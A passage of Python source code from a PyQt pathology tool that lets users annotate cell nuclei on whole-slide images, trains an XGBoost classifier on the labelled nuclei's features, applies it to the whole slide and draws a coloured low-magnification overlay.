hasattr(self.MainWindow, 'nucstat') or self.MainWindow.nucstat is None:\n print('No nucstat! Annotation exit.')\n return\n\n ROI_type = ROI_dict['type']\n points_global = ROI_dict['points_global']\n\n if ROI_type == 'Polygon':\n # clear current polygon drawing\n if hasattr(self.MainWindow.ui, 'drawPolygonPoints'):\n delattr(self.MainWindow.ui, 'drawPolygonPoints')\n self.MainWindow.ui.polygon_in_progress = False\n\n\n if ROI_type == 'Rect':\n [(x1_temp, y1_temp), (x2_temp, y2_temp)] = points_global\n \n x1 = np.min((x1_temp, x2_temp))\n x2 = np.max((x1_temp, x2_temp))\n y1 = np.min((y1_temp, y2_temp))\n y2 = np.max((y1_temp, y2_temp))\n\n subset_index = (self.MainWindow.nucstat.centroid[:,0] > x1) & (self.MainWindow.nucstat.centroid[:,0] < x2) & \\\n (self.MainWindow.nucstat.centroid[:,1] > y1) & (self.MainWindow.nucstat.centroid[:,1] < y2)\n\n elif ROI_type == 'Ellipse':\n #TODO\n pass\n \n elif ROI_type == 'Polygon':\n p = path.Path(points_global)\n subset_index = p.contains_points(self.MainWindow.nucstat.centroid)\n\n subset_index = np.where(subset_index)[0]\n subset_index_vals = self.MainWindow.nucstat.index[subset_index]\n\n if len(subset_index) > 10000:\n reply = QMessageBox.information(self, 'Notification',\n 'Warning: You have selected a very large region with over 10,000 nuclei, we suggest you to choose a smaller ROI for annotation.',\n QMessageBox.Ok)\n return\n\n bool_idx_exist = (self.data_info['case_id'].values == self.MainWindow.case_id) & \\\n (self.data_info['slide_id'].values == self.MainWindow.slide_id) & \\\n np.isin(self.data_info['nuclei_index'].values, subset_index_vals)\n\n if np.sum(bool_idx_exist) > 0:\n '''\n If ROI selection overlaps with previous nuclei index, then just overwrite it.\n Before overwrite, remove all previous nuclei annotations.\n '''\n self.data_X = self.data_X.loc[~bool_idx_exist,:]\n self.data_info = self.data_info.loc[~bool_idx_exist,:]\n\n\n label_type_list = np.repeat('ROI_training', len(subset_index)).astype(object)\n\n if len(subset_index) > 20:\n # only enable testing when more than 20 nuclei annotated.\n if testing_ratio > 0:\n boollist_isTesting = np.random.sample(len(subset_index)) < testing_ratio\n else:\n boollist_isTesting = np.ones(len(subset_index)).astype(bool)\n label_type_list[boollist_isTesting] = 'ROI_random_testing'\n \n \n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(0)\n new_rows = parmap(lambda tuple_in: self.add_data_row(tuple_in[0], tuple_in[1], class_id),\n [(ix, lbl) for ix, lbl in zip(subset_index, label_type_list)]\n )\n new_rows = pd.concat(new_rows, axis=0, ignore_index=True)\n \n\n\n self.data_info = pd.concat([self.data_info, new_rows], axis=0, ignore_index=True)\n\n learning_feature_idx = []\n for v in self.MainWindow.nucstat.feature_columns:\n learning_feature_idx.append(v in self.MainWindow.nucstat.learning_features)\n learning_feature_idx = np.array(learning_feature_idx)\n tuple_indices = [(self.MainWindow.case_id, self.MainWindow.slide_id, class_id, idx) for idx in subset_index]\n feat = pd.DataFrame(self.MainWindow.nucstat.feature[np.isin(self.MainWindow.nucstat.index, subset_index_vals), :][:, learning_feature_idx], index=tuple_indices) # M_nuclei x N_features \n \n if not hasattr(self, 'data_X') or self.data_X is None:\n self.data_X = feat\n else:\n self.data_X = pd.concat([self.data_X, feat], axis=0)\n\n\n print('%d new nuclei annotated.' % len(new_rows))\n\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(100)\n\n ROI_dict['class_ID'] = class_id\n ROI_dict['class_name'] = self.classinfo.loc[class_id, 'classname']\n ROI_dict['class_rgbcolor'] = self.classinfo.loc[class_id, 'rgbcolor']\n self.MainWindow.annotation.add_annotation(ROI_dict)\n self.updateAnnotationToWebEngine()\n\n # clear drawing\n pixmap = QPixmap(self.MainWindow.ui.DrawingOverlay.size())\n pixmap.fill(Qt.transparent)\n self.MainWindow.ui.DrawingOverlay.setPixmap(pixmap)\n\n self.apply_to_case()\n return\n\n\n def add_data_row(self,\n idx: int, # a value index of nucstat. Not the nucstat.index.\n label_type: str,\n class_id: int,\n ):\n idx_real = self.MainWindow.nucstat.index[idx]\n centroid = self.MainWindow.nucstat.centroid[idx,:]\n contour = self.MainWindow.nucstat.contour[idx,:]\n contour = contour[np.sum(contour, axis=1)>0,:] # keep valid contour, remove 0\n contour_str = np.array2string(contour)\n \n new_row = {'case_id': self.MainWindow.case_id,\n 'slide_id': self.MainWindow.slide_id,\n 'filepath': self.MainWindow.slide_filepath,\n 'original_class_id': class_id,\n 'nuclei_index': idx_real,\n 'centroid_x': centroid[0],\n 'centroid_y': centroid[1],\n 'contour': contour_str,\n 'label_type': label_type,\n 'AL_epoch': np.nan,\n 'label_toggle_count': 0,\n 'label_init_value': np.nan,\n 'label_final_value': 1,\n 'label_init_datetime': datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\"),\n 'label_final_datetime': datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\"),\n 'other_information': np.nan\n }\n\n '''\n It'd be nice to store nuclei image into base64 string, for cross-site machine learning.\n Is it okay to store nuclei image into base64 string?\n\n 256x256 base64 string is about 18000 - 20000 characters. When 4 bytes per char, then total 0.08 MB per nuclei.\n I tried to store 17 nuclei with base64string_40x_256x256 on record only, result in 330 KB in pickle file.\n If 1K nuclei, then data_info size should be 19 MB.\n If 10K nuclei, then data_info size should be 190 MB.\n If 100K nuclei, then data_info size should be 1.9 GB.\n Overall I think it is affordable for system memory if less than 100K nuclei annotated.\n '''\n\n '''\n width, height = 256, 256\n for zoom_str in ['40x']: #, '20x','10x','5x','2.5x','1.25x','0.6125x']:\n zoom_val = float(zoom_str.rstrip('x'))\n x1, y1 = int(np.round(centroid[0] - width/2)), int(np.round(centroid[1] - height/2))\n img_patch = self.MainWindow.slide.read_region(location=(x1,y1), level=0, size=(width,height), as_array=True)\n #img_patch = Image.fromarray(img_patch[..., 0:3])\n #img_base64str = im_2_b64(img_patch)\n #new_row['base64string_%s_256x256' % zoom_str] = img_base64str\n\n #Alternatively, wrap image into a list, and save to pandas DataFrame:\n new_row['base64string_%s_256x256' % zoom_str] = [img_patch[..., 0:3]]\n '''\n new_row = pd.DataFrame(new_row, index=[0])\n return new_row\n\n\n\n\n def annotate_single_nuclei(self,\n posx,\n posy,\n cx,\n cy,\n class_id = None):\n '''\n posx, posy: coordinates on the canvas.\n cx, cy: coordinates on the WSI.\n '''\n if not hasattr(self.MainWindow, 'nucstat') or self.MainWindow.nucstat is None:\n print('No nucstat! Annotation exit.')\n return\n \n if not hasattr(self, 'activeClassID') or self.activeClassID is None:\n print('No active class selected.')\n return\n\n if class_id is None:\n class_id = self.activeClassID\n # find nearest nucleus:\n\n distance_to_mouse = (self.MainWindow.nucstat.centroid[:,0]-cx)**2 + (self.MainWindow.nucstat.centroid[:,1]-cy)**2\n if np.min(distance_to_mouse) > 400: # 400 pixel, about 100 micron.\n print('No closest nuclei within 400 pixel, return.')\n return\n\n # Indices have been reset, and are continuous from 0 to N-1.\n idx = np.argmin(distance_to_mouse)\n mindist_idx = self.MainWindow.nucstat.index[idx]\n\n global_pts = self.MainWindow.nucstat.contour[idx,:]\n local_pts = [self.MainWindow.slideToScreen((posx, posy)) for posx, posy in global_pts]\n ROI_dict = {'type': 'doubleclick', 'points': local_pts, 'points_global': global_pts, 'rotation': self.MainWindow.rotation}\n ROI_dict['class_ID'] = class_id\n ROI_dict['class_name'] = self.classinfo.loc[class_id, 'classname']\n ROI_dict['class_rgbcolor'] = self.classinfo.loc[class_id, 'rgbcolor']\n\n\n print('double clicked for interactive labeling. screen: (%d, %d); slide: (%d, %d). Nuclei index selected: %d' % (posx, posy, cx, cy, mindist_idx))\n self.MainWindow.log.write('Interactive label *** (double click) click on screen. screen: (%d, %d); slide: (%d, %d). case_id: %s, slide_id: %s, Nuclei index selected: %d' % (posx, posy, cx, cy, self.MainWindow.case_id, self.MainWindow.slide_id, mindist_idx))\n\n tuple_idx = (self.MainWindow.case_id, self.MainWindow.slide_id, class_id, mindist_idx)\n bool_idx_exist = (self.data_info['case_id'].values == self.MainWindow.case_id) & \\\n (self.data_info['slide_id'].values == self.MainWindow.slide_id) & \\\n (self.data_info['nuclei_index'].values == mindist_idx)\n \n if np.sum(bool_idx_exist) > 0:\n if class_id == self.data_info.loc[bool_idx_exist, 'original_class_id'].values[0]:\n '''\n If that existed annotation has same labeling class, then we remove that nuclei.\n '''\n self.data_X = self.data_X.loc[~bool_idx_exist,:]\n self.data_info = self.data_info.loc[~bool_idx_exist,:]\n # Delete annotation (polygon)\n self.MainWindow.annotation.delete_annotation(ROI_dict)\n self.MainWindow.showOverlayAnnotation()\n else:\n '''\n If that existed annotation has different labeling class, then we update that nuclei.\n '''\n self.data_info.loc[bool_idx_exist,'original_class_id'] = class_id\n self.data_info.loc[bool_idx_exist,'label_toggle_count'] += 1\n self.data_info.loc[bool_idx_exist,'label_final_datetime'] = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\")\n\n # Modify annotation (polygon)\n self.MainWindow.annotation.delete_annotation(ROI_dict)\n self.MainWindow.annotation.add_annotation(ROI_dict)\n self.MainWindow.showOverlayAnnotation()\n\n else:\n new_row = self.add_data_row(idx, label_type='doubleclick', class_id=class_id)\n self.data_info = pd.concat([self.data_info, new_row], axis=0, ignore_index=True)\n learning_feature_idx = []\n for v in self.MainWindow.nucstat.feature_columns:\n learning_feature_idx.append(v in self.MainWindow.nucstat.learning_features)\n learning_feature_idx = np.array(learning_feature_idx)\n feat = pd.DataFrame(self.MainWindow.nucstat.feature[mindist_idx == self.MainWindow.nucstat.index, :][:, learning_feature_idx], index=[tuple_idx]) # 1 x N_features \n if not hasattr(self, 'data_X') or self.data_X is None:\n self.data_X = feat\n else:\n self.data_X = pd.concat([self.data_X, feat], axis=0)\n \n # Add annotation (polygon)\n self.MainWindow.annotation.add_annotation(ROI_dict)\n self.MainWindow.showOverlayAnnotation()\n\n\n self.updateAnnotationToWebEngine()\n self.apply_to_case()\n \n def updateAnnotationToWebEngine(self):\n dict_to_send = {'action': 'update annotation count',\n 'value': dict(Counter(self.data_info['original_class_id']))\n }\n\n self.MainWindow.backend.py2js(dict_to_send)\n\n\n\n def get_merged_lbl_data(self,\n stage=''):\n\n '''\n replace NA by 0\n '''\n X = self.data_X.values.astype(float)\n y = copy.deepcopy(self.data_info[['case_id','slide_id','original_class_id','nuclei_index','label_type','label_final_value']])\n \n if hasattr(self, 'get_merged_lbl_data_X_lastused') & \\\n hasattr(self, 'get_merged_lbl_data_y_lastused') & \\\n hasattr(self, 'datadict_lastused'):\n is_X_equal = np.array_equal(X, self.get_merged_lbl_data_X_lastused)\n is_y_equal = y.equals(self.get_merged_lbl_data_y_lastused)\n is_data_equal = is_X_equal & is_y_equal\n print('############################################')\n print('get_merged_lbl_data: Is data equal?', is_X_equal, is_y_equal)\n print('############################################')\n\n if is_data_equal:\n datadict = self.datadict_lastused\n print('---------------------------')\n print('get_merged_lbl_data: found last data used identical, skip processing.')\n print('---------------------------')\n return datadict\n else:\n pass\n\n # just to have a first look, do we have any data?\n if len(y) == 0:\n dict = {'interactive_labeling_proceed_status': 'no sufficient training data'}\n return dict\n \n self.get_merged_lbl_data_X_lastused = X\n self.get_merged_lbl_data_y_lastused = y\n \n idx_isBinary = np.array([str(v) in ['0','1'] for v in y['label_final_value']]) # remove \"not sure\" and \"incorrect segmentation\"\n \n y = y.loc[idx_isBinary]\n X = X[idx_isBinary, :]\n\n # After filtering out the non-binary lables, then we have a second look, do we have any data?\n if len(y) == 0:\n dict = {'interactive_labeling_proceed_status': 'no sufficient training data'}\n return dict\n\n \n y_class = y['original_class_id'].values.astype(int)\n if stage != 'apply2case':\n y_active_idx = y_class == self.activeClassID\n y_type = y['label_type'].values.astype(str)\n y_class_new = np.zeros(y_class.shape)\n class_id_list = np.unique(self.data_info['original_class_id'].values)\n \n class_id_offset = 0\n if 0 not in class_id_list: # this is to accommodate old label dataset.\n class_id_offset = 1\n\n for i, cls in enumerate(class_id_list):\n y_class_new[y_class == cls] = i + class_id_offset\n y['original_class_id'] = y_class_new.astype(int)\n del y_class\n\n y_all = (y['original_class_id'].values * y['label_final_value'].values).astype(int) # any value contains zero is zero.\n\n\n datadict = {}\n datadict['All_class'] = {}\n datadict['All_class']['train'] = {}\n\n training_idx = ['test' not in v for v in y_type]\n testing_idx = ['test' in v for v in y_type]\n \n\n datadict['All_class']['train']['X'] = X[training_idx, :]\n datadict['All_class']['train']['y'] = y_all[training_idx]#.reshape(-1,1)\n\n datadict['All_class']['test'] = {}\n datadict['All_class']['test']['X'] = X[testing_idx, :]\n datadict['All_class']['test']['y'] = y_all[testing_idx]#.reshape(-1,1)\n \n if stage != 'apply2case':\n datadict['Active_class'] = {}\n datadict['Active_class']['index'] = y.index\n datadict['Active_class']['train'] = {}\n datadict['Active_class']['train']['X'] = X[training_idx & y_active_idx, :]\n y_active_train = y_all[training_idx & y_active_idx]\n y_active_train[y_active_train > 0] = 1\n datadict['Active_class']['train']['y'] = y_active_train#.reshape(-1,1)\n datadict['Active_class']['test'] = {}\n datadict['Active_class']['test']['X'] = X[testing_idx & y_active_idx, :]\n y_active_test = y_all[testing_idx & y_active_idx]\n y_active_test[y_active_test > 0] = 1\n datadict['Active_class']['test']['y'] = y_active_test#.reshape(-1,1)\n \n if (len(np.unique(datadict['Active_class']['train']['y'])) < 2) or (len(np.unique(datadict['Active_class']['test']['y'])) < 2):\n # negative label has not been generated yet.\n datadict['interactive_labeling_proceed_status'] = 'no positive/negative label'\n else:\n datadict['interactive_labeling_proceed_status'] = 'pass'\n else:\n datadict['interactive_labeling_proceed_status'] = 'pass'\n self.datadict_lastused = datadict\n return datadict\n\n\n def ML_train(self,\n datadict,\n modelclass='All_class',\n trained_for='All_class',\n warmstart=False\n ):\n print('---- ML train ----')\n \n if not hasattr(self, 'model'):\n self.model = {}\n self.model['classinfo'] = self.classinfo\n\n if not hasattr(self, 'ML_result'):\n self.ML_result = {}\n\n \n if platform.system() == 'Darwin': # mac OS\n tree_method = None\n else:\n tree_method = \"gpu_hist\"\n clf = xgb.XGBClassifier(max_depth = 8, tree_method=tree_method, eval_metric='logloss', random_state=0)\n \n X_train = datadict[trained_for]['train']['X']\n y_train = datadict[trained_for]['train']['y']\n \n if hasattr(self, 'ML_X_train_last') and np.array_equal(X_train, self.ML_X_train_last) and np.array_equal(y_train, self.ML_y_train_last):\n st = time.time()\n clf = self.ML_clf_last\n et = time.time()\n print('Retrieve unchanged model cost %.2f seconds' %(et-st))\n else:\n st = time.time()\n\n clf.fit(X_train, y_train, xgb_model=None, sample_weight=None)\n et = time.time()\n print('training cost %.2f seconds' %(et-st))\n self.ML_X_train_last = copy.deepcopy(X_train)\n self.ML_y_train_last = copy.deepcopy(y_train)\n self.ML_clf_last = copy.deepcopy(clf)\n\n\n\n self.model[modelclass] = clf\n y_train_pred = clf.predict(X_train)\n train_acc = accuracy_score(y_train, y_train_pred)\n train_cmat = confusion_matrix(y_train, y_train_pred)\n\n if modelclass == 'Apply_all':\n self.X_train_last_used = X_train\n self.y_train_last_used = y_train\n print('---- ML train done ----')\n #return clf\n\n if len(datadict[trained_for]['test']['y']) > 0:\n X_test = datadict[trained_for]['test']['X']\n y_test = datadict[trained_for]['test']['y']\n y_test_pred = clf.predict(X_test)\n test_acc = accuracy_score(y_test, y_test_pred)\n test_cmat = confusion_matrix(y_test, y_test_pred)\n print('[Model for %s] train elapsed %.2f seconds' % (trained_for, time.time()-st))\n print('train acc = %.2f' % train_acc)\n print('test acc = %.2f' % test_acc)\n\n if 'train_acc' not in self.ML_result:\n self.ML_result['train_acc'] = {}\n if 'test_acc' not in self.ML_result:\n self.ML_result['test_acc'] = {}\n\n\n self.ML_result['train_acc'][modelclass] = train_acc\n self.ML_result['test_acc'][modelclass] = test_acc\n\n if 'train_acc_per_stage' not in self.ML_result:\n self.ML_result['train_acc_per_stage'] = {}\n self.ML_result['train_acc_per_stage'][modelclass] = {}\n if 'test_acc_per_stage' not in self.ML_result:\n self.ML_result['test_acc_per_stage'] = {}\n self.ML_result['test_acc_per_stage'][modelclass] = {}\n \n if hasattr(self, 'interactive_curr_epoch'):\n self.ML_result['train_acc_per_stage'][modelclass][self.interactive_curr_epoch] = train_acc\n self.ML_result['test_acc_per_stage'][modelclass][self.interactive_curr_epoch] = test_acc\n\n\n if 'train_confusion_matrix' not in self.ML_result:\n self.ML_result['train_confusion_matrix'] = {}\n if 'test_confusion_matrix' not in self.ML_result:\n self.ML_result['test_confusion_matrix'] = {}\n\n self.ML_result['train_confusion_matrix'][modelclass] = train_cmat\n self.ML_result['test_confusion_matrix'][modelclass] = test_cmat\n \n print('---- ML test done ----')\n\n return clf\n\n def ML_apply_all(self):\n print('---- ML apply all ----')\n if not (hasattr(self, 'ML_result') and hasattr(self, 'model') and 'Apply_all' in self.model):\n print('No Apply_all model in self.model. Skip.')\n print('This issue is because you read a slide but there is no available model.')\n else:\n st = time.time()\n clf = self.model['Apply_all']\n # apply classfier to all other nuclei in WSI\n learning_feature_idx = []\n for v in self.MainWindow.nucstat.feature_columns:\n learning_feature_idx.append(v in self.MainWindow.nucstat.learning_features)\n learning_feature_idx = np.array(learning_feature_idx)\n X_test = self.MainWindow.nucstat.feature[:, learning_feature_idx]\n \n\n #TODO: Could this be improved? In another experiment, I found xgboost predict_proba is already paralleled.\n proba_ = np.array(clf.predict_proba(X_test))\n y_pred = np.argmax(proba_, axis=1)\n y_pred_proba = np.max(proba_, axis=1)#np.array(clf.predict_proba(X_test))[:,1]\n\n pdin = np.c_[y_pred, y_pred_proba]\n print(Counter(y_pred))\n print('Apply to case test for the rest of nuclei elapsed %.2f seconds.' % (time.time()-st) )\n self.MainWindow.nucstat.prediction = pd.DataFrame(pdin, index=self.MainWindow.nucstat.index, columns=['label','proba'])\n\n self.MainWindow.nucstat.prediction.loc[:,'class_name'] = 'Other'\n # background nuclei is grey\n RGB_Other = self.classinfo.loc[0,'rgbcolor']\n self.MainWindow.nucstat.prediction.loc[:,'color_r'] = RGB_Other[0]\n self.MainWindow.nucstat.prediction.loc[:,'color_g'] = RGB_Other[1]\n self.MainWindow.nucstat.prediction.loc[:,'color_b'] = RGB_Other[2]\n \n\n\n for cls_id in self.classinfo.index:\n rgbcolor = self.classinfo.loc[cls_id, 'rgbcolor']\n class_name = self.classinfo.loc[cls_id, 'classname']\n \n boolean_idx = self.MainWindow.nucstat.prediction['label'].values.reshape(-1) == cls_id\n self.MainWindow.nucstat.prediction.loc[boolean_idx,'class_name'] = class_name\n self.MainWindow.nucstat.prediction.loc[boolean_idx,'color_r'] = rgbcolor[0]\n self.MainWindow.nucstat.prediction.loc[boolean_idx,'color_g'] = rgbcolor[1]\n self.MainWindow.nucstat.prediction.loc[boolean_idx,'color_b'] = rgbcolor[2]\n\n \n fi = clf.feature_importances_\n learning_feature_idx = []\n for v in self.MainWindow.nucstat.feature_columns:\n learning_feature_idx.append(v in self.MainWindow.nucstat.learning_features)\n learning_feature_idx = np.array(learning_feature_idx)\n index = pd.MultiIndex.from_arrays(np.array(self.MainWindow.nucstat.feature_columns)[learning_feature_idx].T)\n feature_importance = pd.DataFrame(fi, index=index, columns=['feature_importance'])\n feature_importance = feature_importance.sort_values('feature_importance', ascending=False)\n self.feature_importance = feature_importance\n # for i in feature_importance.index: print(i, feature_importance.loc[i,'feature_importance'])\n # print(feature_importance)\n self.send_dim_info_for_VFC()\n self.MainWindow.backend.py2js({'action': 'apply2case_done', 'data_dict': self.ML_result})\n print('Interactive label: Apply to case done.')\n self.MainWindow.log.write('Interactive label *** Apply to case done.')\n\n '''\n if hasattr(self, 'login_user_ID') and self.login_user_ID is not None:\n #save dict file to temp_annotation_file dir, in case the system crashes.\n st = time.time()\n temp_dir = os.path.join(self.wd, 'Cache', 'Temp_annotation_file')\n os.makedirs(temp_dir, exist_ok=True)\n curr_datetime = datetime.now().strftime(\"%Y-%m-%d_%H.%M.%S\")\n save_path = os.path.join(temp_dir, 'model_userid=%d_timestamp=%s.pickle' % (self.login_user_ID, curr_datetime))\n with open(save_path, 'wb') as f:\n pickle.dump(self.model, f)\n et = time.time()\n self.MainWindow.log.write('Interactive label *** Save current model to %s, cost %.2f seconds.' % (temp_dir, et-st))\n '''\n\n \n def load_offline_probability(self):\n if self.MainWindow.stat_folder is not None and \\\n os.path.exists(opj(self.MainWindow.stat_folder, 'plasma_CNN_results', 'plasma_CNN_proba.csv')):\n\n y_proba = pd.read_csv(opj(self.MainWindow.stat_folder, 'plasma_CNN_results', 'plasma_CNN_proba.csv'), index_col=0).values.astype(float)\n y_proba = y_proba[self.MainWindow.nucstat.select_nuclei_idx,:]\n y_pred = np.argmax(y_proba, axis=1).astype(int)\n\n if hasattr(self.MainWindow.nucstat, 'prediction'):\n self.MainWindow.nucstat.prediction['label'] = y_pred\n self.MainWindow.nucstat.prediction['proba'] = y_proba[:,1]\n print('Successfully replaced the nucstat.prediction.')\n else:\n print('Object not found: self.MainWindow.nucstat.prediction.')\n \n\n\n return\n else:\n print('No available deep learning results.')\n\n def closeMLThread(self):\n if hasattr(self.MainWindow, 'ML_thread'):\n try:\n #self.ML_thread.stop()\n self.MainWindow.ML_thread.quit()\n self.MainWindow.ML_thread.wait()\n except Exception as e:\n print('closeMLThread function has error:', e)\n\n\n def apply_to_case(self):\n if not hasattr(self.MainWindow, 'nucstat') or self.MainWindow.nucstat is None:\n print('No nucstat! Annotation exit.')\n return\n \n if not hasattr(self, 'data_X') or self.data_X is None:\n print('No training data.')\n return\n\n ML_async = False\n if ML_async:\n self.closeMLThread()\n # Step 2: Create a QThread object\n self.MainWindow.ML_thread = QThread()\n # Step 3: Create a worker object\n self.MainWindow.ML_worker = AsyncApplytoCase(self.MainWindow)\n # Step 4: Move worker to the thread\n self.MainWindow.ML_worker.moveToThread(self.MainWindow.ML_thread)\n # Step 5: Connect signals and slots\n self.MainWindow.ML_thread.started.connect(self.MainWindow.ML_worker.run)\n self.MainWindow.ML_worker.finished.connect(self.MainWindow.ML_thread.quit)\n self.MainWindow.ML_worker.finished.connect(self.MainWindow.ML_worker.deleteLater)\n self.MainWindow.ML_thread.finished.connect(self.MainWindow.ML_thread.deleteLater)\n # Step 6: Start the thread\n self.MainWindow.ML_thread.start()\n else:\n self.apply2case()\n \n\n\n def apply2case(self):\n \n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(0)\n try:\n datadict = self.get_merged_lbl_data(stage='apply2case')\n except Exception as e:\n print(e)\n self.MainWindow.backend.py2js({'action': 'apply2case_done'})\n return\n\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(10)\n \n try:\n self.MainWindow.log.write('Interactive label *** Apply to case start.')\n\n QApplication.setOverrideCursor(Qt.WaitCursor)\n X_train = np.concatenate([datadict['All_class']['train']['X'], datadict['All_class']['test']['X']], axis=0)\n y_train = np.concatenate([datadict['All_class']['train']['y'], datadict['All_class']['test']['y']], axis=0)\n \n if len(np.unique(y_train)) <= 1:\n print('Only 0 or 1 class annotated. skip.')\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(100)\n return\n\n if len(X_train) == 0:\n print('Empty data.')\n # reset previous labeled colors to color: Others\n RGB_Other = self.classinfo.loc[0,'rgbcolor']\n\n if hasattr(self, 'interactive_prediction'):\n self.MainWindow.nucstat.prediction.loc[:,'color_r'] = RGB_Other[0]\n self.MainWindow.nucstat.prediction.loc[:,'color_g'] = RGB_Other[1]\n self.MainWindow.nucstat.prediction.loc[:,'color_b'] = RGB_Other[2]\n\n self.MainWindow.backend.py2js({'action': 'apply2case_done'})\n return\n \n\n is_data_equal = False\n if hasattr(self, 'X_train_apply2case_last_used') and hasattr(self, 'y_train_apply2case_last_used'):\n is_X_equal = np.array_equal(X_train, self.X_train_apply2case_last_used)\n is_y_equal = np.array_equal(y_train, self.y_train_apply2case_last_used)\n is_data_equal = is_X_equal & is_y_equal\n \n print('-----------------------')\n print('Is data equal? ', is_data_equal)\n print('-----------------------')\n\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(30)\n if hasattr(self, 'X_train_last_used') and hasattr(self, 'y_train_last_used') and\\\n 'Apply_all' in self.model and is_data_equal:\n print('previous training model existed, and the data for training did not change. So we skip re-training.')\n clf = self.model['Apply_all']\n else:\n clf = self.ML_train(datadict,\n modelclass = 'Apply_all',\n trained_for = 'All_class')\n \n\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(40)\n\n # now, check if image we are looking at is identical, otherwise, we don't have to update.\n if hasattr(self, 'X_train_last_used') and hasattr(self, 'y_train_last_used') and is_data_equal and \\\n hasattr(self, 'slideDescription_last_train') and self.slideDescription_last_train == self.MainWindow.slideDescription:\n print('Identical, pass.')\n self.MainWindow.backend.py2js({'action': 'apply2case_done'})\n pass\n else:\n\n self.ML_apply_all()\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(50)\n self.slideDescription_last_train = self.MainWindow.slideDescription\n self.X_train_apply2case_last_used = X_train\n self.y_train_apply2case_last_used = y_train\n self.overlay_create()\n\n self.MainWindow.ui.statusBar.statusbar_pbar.setValue(100)\n\n \n print('Interactive label *** Apply to case finish overlay create.')\n self.MainWindow.log.write('Interactive label *** Apply to case finish overlay create.')\n \n \n self.MainWindow.showOverlayML()\n self.MainWindow.showOverlayAnnotation()\n QApplication.setOverrideCursor(Qt.ArrowCursor)\n return\n \n except Exception as e:\n print('Apply2case Error:', e)\n print(traceback.format_exc())\n self.MainWindow.backend.py2js({'action': 'apply2case_done'})\n QApplication.setOverrideCursor(Qt.ArrowCursor)\n return\n \n\n\n\n def overlay_create(self,\n patch=512,\n threshold=10,\n init=False\n ):\n\n if init:\n self.ui.backend_workspace.py2js({'action':'update_slide_progress',\n 'value':'create low-magnification overlay',\n 'progress': '0'})\n st = time.time()\n c_x = self.MainWindow.nucstat.centroid[:,0]\n c_y = self.MainWindow.nucstat.centroid[:,1]\n dim = self.MainWindow.slide.dimensions\n dim_downsample = (int(np.round(dim[0]/patch)), int(np.round(dim[1]/patch)))\n \n c_x_downsample = np.round(c_x/patch)\n c_y_downsample = np.round(c_y/patch)\n\n n_tumor_cells = np.sum(self.MainWindow.nucstat.prediction['label'].values.reshape(-1) == 1)\n \n if n_tumor_cells < 2000:\n threshold = 3\n if n_tumor_cells < 200:\n threshold = 2\n\n if not hasattr(self.MainWindow.nucstat, 'overlay'):\n slide_path = os.path.dirname(os.path.realpath(self.MainWindow.slide_filepath))\n overlay_filepath = os.path.join(slide_path, 'temp',\n '%s_%s_nucstat_overlay_%d_%d.pkl' % \\\n (self.MainWindow.case_id, self.MainWindow.slide_id, patch, threshold))\n if os.path.exists(overlay_filepath):\n with open(overlay_filepath, 'rb') as f:\n self.MainWindow.nucstat.overlay = pickle.load(f)\n else:\n os.makedirs(os.path.join(slide_path, 'temp'), exist_ok=True)\n self.MainWindow.nucstat.overlay = {'index_x_valid':[],\n 'index_y_valid':[],\n 'subset_index':{},\n 'idx1_map':{},\n 'idx2_map':{},\n 'overlay': None}\n for i in range(dim_downsample[0]):\n self.MainWindow.nucstat.overlay['idx1_map'][i] = np.where(c_x_downsample==i)[0]\n if len(self.MainWindow.nucstat.overlay['idx1_map'][i]) > 0:\n self.MainWindow.nucstat.overlay['index_x_valid'].append(i)\n for j in range(dim_downsample[1]):\n self.MainWindow.nucstat.overlay['idx2_map'][j] = np.where(c_y_downsample==j)[0]\n if len(self.MainWindow.nucstat.overlay['idx2_map'][j]) > 0:\n self.MainWindow.nucstat.overlay['index_y_valid'].append(j)\n for i in tqdm(self.MainWindow.nucstat.overlay['index_x_valid']):\n idx1 = self.MainWindow.nucstat.overlay['idx1_map'][i]\n for j in self.MainWindow.nucstat.overlay['index_y_valid']:\n idx2 = self.MainWindow.nucstat.overlay['idx2_map'][j]\n subset_idx = idx1[np.in1d(idx1, idx2, assume_unique=True)]\n self.MainWindow.nucstat.overlay['subset_index'][(i,j)] = subset_idx\n\n with open(overlay_filepath, 'wb') as f:\n pickle.dump(self.MainWindow.nucstat.overlay, f)\n \n overlay = np.zeros((dim_downsample[0], dim_downsample[1], 4), dtype=np.uint8)\n interactive_prediction_label = self.MainWindow.nucstat.prediction['label'].values.astype(int)\n\n colors_df = self.MainWindow.nucstat.prediction.drop_duplicates('label').set_index('label')\n \n for i in tqdm(self.MainWindow.nucstat.overlay['index_x_valid']):\n '''\n if i % 10 == 0:\n self.ui.backend_workspace.py2js({'action':'update_slide_progress',\n 'value':'create low-magnification overlay',\n 'progress': str(i/len(self.MainWindow.nucstat.overlay['index_x_valid']))})\n '''\n idx1 = self.MainWindow.nucstat.overlay['idx1_map'][i]\n for j in self.MainWindow.nucstat.overlay['index_y_valid']:\n idx2 = self.MainWindow.nucstat.overlay['idx2_map'][j]\n subset_idx = self.MainWindow.nucstat.overlay['subset_index'][(i,j)]\n label = interactive_prediction_label[subset_idx]\n if len(label) == 0: continue\n n_pos = label[label>0]\n if len(n_pos) >= threshold:\n major_label, count = Counter(n_pos).most_common(1)[0]\n rgb = colors_df.loc[major_label,['color_r','color_g','color_b']].values.astype(np.uint8)\n \n fix_constant = 500\n if n_tumor_cells < 2000:\n fix_constant = 1500\n if n_tumor_cells < 200:\n fix_constant = 5000\n \n alpha = np.min((count/len(label)*fix_constant, 255)) * 0.8\n alpha = int(alpha)\n \n '''\n # alpha = np.min((count*2, 255))\n # alpha = 255\n '''\n rgba = (rgb[0],rgb[1],rgb[2],alpha)\n overlay[i,j,:] = rgba\n \n self.MainWindow.nucstat.overlay['overlay'] = overlay\n\n et = time.time()\n print('Get overlay cost %.2f seconds' % (et-st))\n return\n\n\n def send_dim_info_for_VFC(self,\n dim1_text = None,\n dim2_text = None,\n max_number_cell = 10000\n ):\n\n\n if hasattr(self, 